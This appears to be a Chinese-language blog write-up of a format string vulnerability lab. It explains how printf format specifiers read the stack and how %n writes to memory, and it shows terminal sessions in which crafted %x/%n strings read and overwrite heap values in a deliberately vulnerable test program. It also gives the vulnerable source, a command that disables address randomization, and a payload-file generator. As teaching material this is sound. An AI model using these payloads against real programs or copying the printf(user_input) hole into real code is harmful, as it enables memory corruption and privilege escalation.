您的位置:首页 > 其它

格式化字符串漏洞实验

2015-07-19 10:47 316 查看

格式化字符串漏洞实验

一、 实验描述

格式化字符串漏洞是由像 printf(user_input) 这样的代码引起的,其中 user_input 是用户输入的数据,具有 Set-UID root 权限的这类程序在运行的时候,printf 语句将会变得非常危险,因为它可能会导致下面的结果:

使得程序崩溃
任意一块内存读取数据
修改任意一块内存里的数据


最后一种结果是非常危险的,因为它允许用户修改 Set-UID root 程序内部变量的值,从而改变这些程序的行为。

本实验将会提供一个具有格式化漏洞的程序,我们将制定一个计划来探索这些漏洞。

二、实验内容

1.预备知识

(1)格式化字符串

考虑语句
printf ("Number : %d\n", 5688);
,其中%d为格式符,在输出时将会被后面的参数5688替换,得到输出
Number : 5688(Enter)
。格式符除%d外还有很多种。

格式符含义含义(英)传入参数
%d十进制数(int)decimal
%u无符号十进制数 (unsigned int)unsigned decimal
%x十六进制数 (unsigned int)hexadecimal
%s字符串 ((const) (unsigned) char *)string引用(指针)
%n%n 符号以前输入的字符数量 (* int)number of bytes written so far引用(指针)
(2)格式化字符串与栈

格式化函数的行为由格式化字符串控制,printf 函数从栈上取得参数。考虑下面的语句。

printf ("a has value %d, b has value %d, c is at address: %08x\n",a, b, &c);


程序执行语句时,会从栈上读取相应的参数。这条语句对应的栈的结构如下图所示。执行printf函数前,先将所有参数一次压栈,执行时以此读出。



那么我们考虑一下参数数量不匹配时会发生的情况。考虑下面的语句。

printf ("a has value %d, b has value %d, c is at address: %08x\n",a, b);


首先,这段程序时可以编译通过的。printf是参数长度可变的函数,编译器在编译时一般不做检查。printf函数本身只知道从栈上读取数据,并不知道数据是否属于当前函数调用。除非指针超过当前函数可访问范围,否则不会报错。

(3)用于访问任意地址的内容

通过不匹配的参数,我们可以访问任意位置的内存地址。换言之,只要我们能把想要访问的地址编码到栈空间中,我们就可以访问这个地址中的内容。

int a = 0x13061188;
printf("%s");


下面我们来实现一个用于访问特定内存地址的程序。

int main(int argc, char *argv[])
{
char user_input[100];
... ... /* other variable definitions and statements */
scanf("%s", user_input); /* getting a string from user */
printf(user_input); /* Vulnerable place */
return 0;
}


对于这个程序,进需要一个语句就可以访问特定内存中(0x10014808)的数据。

printf ("\x10\x01\x48\x08 %x %x %x %x %s");


函数调用时的栈空间示意图如下。printf不知道栈中的参数是不是为当前函数准备的,所以不经判断进行偏移。通过参数的偏移,我们让%s的指针指向了当前字符串的第一个32位数据,也就是我们想要访问的内存地址0x10014808,可想而知我们就可以通过这个%s打印出这一段内存中的数据。可以看出,攻击的难点在于,找到栈指针到我们的输入的偏移量,即参数的数量。



(4)利用%n向内存中写入数据

格式化字符串中有一个用于写入的格式
%n
,作用是将%n前输出的字符数量写入到指针所指的内存中。如果我们将上一段代码中的
%s
替换为
%n
,我们就能重写0x10014808中的内容。

int output_count;
printf ("1234567890%n", &output_count);


利用
%n
这种特殊的功能,我们可以做到

重写程序标识控制访问权限
重写栈或者函数等等的返回地址


2.实验1-构造字符串进行攻击

我们需要攻击的目标程序如下。

我们需要达到以下目标:

找出 secret[1]的值
修改 secret[1]的值
修改 secret[1]为期望值


//vul_prog.c


编译时关闭栈保护。

gcc -z execstack -fno-stack-protector -o vul_prog vul_prog.c


找出 secret[1]的值

显然,我们可以操作的整数只有输入的int_input,所以我们需要把secret[1]的地址写入到这个变量中。我们首先需要知道的是这个变量在栈上的位置。因此我们构造一组输入来寻找。

lyt@lyt-ThinkPad-T61:~/Documents$ ./vul_prog
The variable secret's address is 0x93dad0e8 (on stack)
The variable secret's value is 0x  e15010 (on heap)
secret[0]'s address is 0x  e15010 (on heap)
secret[1]'s address is 0x  e15014 (on heap)
Please enter a decimal integer
2147483647
Please enter a string
%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x\n
4cc4b9f0,00000001,00000000,00000000,00000000,93dad248,93dad0f0,7fffffff,00e15010,78383025,30252c78,2c783830,3830252c,252c7838,78383025,30252c78,2c783830,3830252c,252c7838,78383025,30252c78\n
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55


我们找到输出中和输入相同的数字,这就是
int_input
在栈中存储的位置。下面我们把
secret[1]
的地址填进去,并打印相应地址中的内容。

lyt@lyt-ThinkPad-T61:~/Documents$ ./vul_prog
The variable secret's address is 0x6d359718 (on stack)
The variable secret's value is 0x 1117010 (on heap)
secret[0]'s address is 0x 1117010 (on heap)
secret[1]'s address is 0x 1117014 (on heap)
Please enter a decimal integer
17920020
Please enter a string
%x%x%x%x%x%x%x...%s...
72c0b9f010006d3598786d359720...U...
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55


我们可以得到输出结果为U,这正是ASCII码中0x55的对应字母。

修改 secret[1]的值

修改secret[1]的方法非常简单,仅需把前面的
%s
替换为
%n
即可,修改的结果是,
secret[1]
综合那个存储前面输出的字符数。

lyt@lyt-ThinkPad-T61:~/Documents$ ./vul_prog
The variable secret's address is 0xddbcb228 (on stack)
The variable secret's value is 0x 1a1d010 (on heap)
secret[0]'s address is 0x 1a1d010 (on heap)
secret[1]'s address is 0x 1a1d014 (on heap)
Please enter a decimal integer
27381780
Please enter a string
%x%x%x%x%x%x%x...%n...
1f4ac9f01000ddbcb388ddbcb230......
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x1f


修改 secret[1]为期望值

为了修改secret[1]为期望值,我们只需要控制前面输出的字符数量。对于每个
%x
,我们可以修改为
%0?x
来填充前置0,或使用
%.?d
来控制小数点后的位数,使其总长度达到特定位数。

我们试图将
secret[1]
的值修改为0x100。

lyt@lyt-ThinkPad-T61:~/Documents$ ./vul_prog
The variable secret's address is 0xf86fd278 (on stack)
The variable secret's value is 0x  e38010 (on heap)
secret[0]'s address is 0x  e38010 (on heap)
secret[1]'s address is 0x  e38014 (on heap)
Please enter a decimal integer
14909460
Please enter a string
%016x%016x%016x%016x%016x%016x%0160x%n
0000000006d4a9f0000000000000000100000000000000000000000000000000000000000000000000000000f86fd3d800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f86fd280
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x100


3.实验2-一个更难的攻击

现在我们加大难度,来看另一端程序。这次的程序中没有用户输入整数的部分,删去了与int_input相关的语句,因此不能输入地址进行内存寻址操作。我们的目标是修改
secret[0]
的值。

#include <stdlib.h>
#include <stdio.h>

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
char user_input[100];
int *secret;
//long int_input;
int a, b, c, d; /* other variables, not used here.*/

/* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int));

/* getting the secret */
secret[0] = SECRET1; secret[1] = SECRET2;

printf("The variable secret's address is 0x%8x (on stack)\n", &secret);
printf("The variable secret's value is 0x%8x (on heap)\n", secret);
printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);
printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]);

//printf("Please enter a decimal integer\n");
//scanf("%d", &int_input);  /* getting an input from user */
printf("Please enter a string\n");
scanf("%s", user_input); /* getting a string from user */

/* Vulnerable place */
printf(user_input);
printf("\n");

/* Verify whether your attack is successful */
printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
printf("The new secrets:      0x%x -- 0x%x\n", secret[0], secret[1]);
return 0;
}


在做上一个实验时我们会发现,每次运行程序时,变量所在的地址会发生变化。在这个实验中,我们关闭堆栈随机化。
sysctl -w kernel.randomize_va_space=0
关闭随机化后,每次执行时变量的存储位置不变,我们可以通过多次执行来进行攻击。

编译执行,我们得到
secret[0]
的地址为0x602010。由于
0x20
会被scanf当做分隔符,所以我们对源程序稍作修改,增加
int *padding = (int *)malloc(100 * sizeof(int));
,改变这个地址,得到新地址
0x6021b0


我们首先寻找
secret[0]
在栈上的位置。

lyt@lyt-ThinkPad-T61:~/Documents$ ./vul_prog
The variable secret's address is 0xffffdd68 (on stack)
The variable secret's value is 0x  6021b0 (on heap)
secret[0]'s address is 0x  6021b0 (on heap)
secret[1]'s address is 0x  6021b4 (on heap)
Please enter a string
%8x,%8x,%8x,%8x,%8x,%8x,%8x,%8x,%8x,%8x.
f7dd59f0,       1,       0,       0,       0,ffffdec8,ffffdd70,f63d4e2e,  6021b0,2c783825.
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55


下面我们来构造输入字符串。为了能在字符串中填写ASCII码表中的全部字符,我们使用文件输入。生成文件的程序如下。

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main()
{
char buf[1000];
int fp, size;
unsigned int *address;
/* Putting any number you like at the beginning of the format string */
address = (unsigned int *) buf;
*address = 0x????;
/* Getting the rest of the format string */
scanf("%s", buf+4);
size = strlen(buf+4) + 4;
printf("The string length is %d\n", size);
/* Writing buf to "mystring" */
fp = open("mystring", O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
if (fp != -1) {
write(fp, buf, size);
close(fp);
} else {
printf("Open failed!\n");
}
}


在addr中填充正确的地址,运行产生mystring作为输入。运行vul_prog。我们会发现secret[0]的值被修改,攻击成功。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  格式化 字符串 漏洞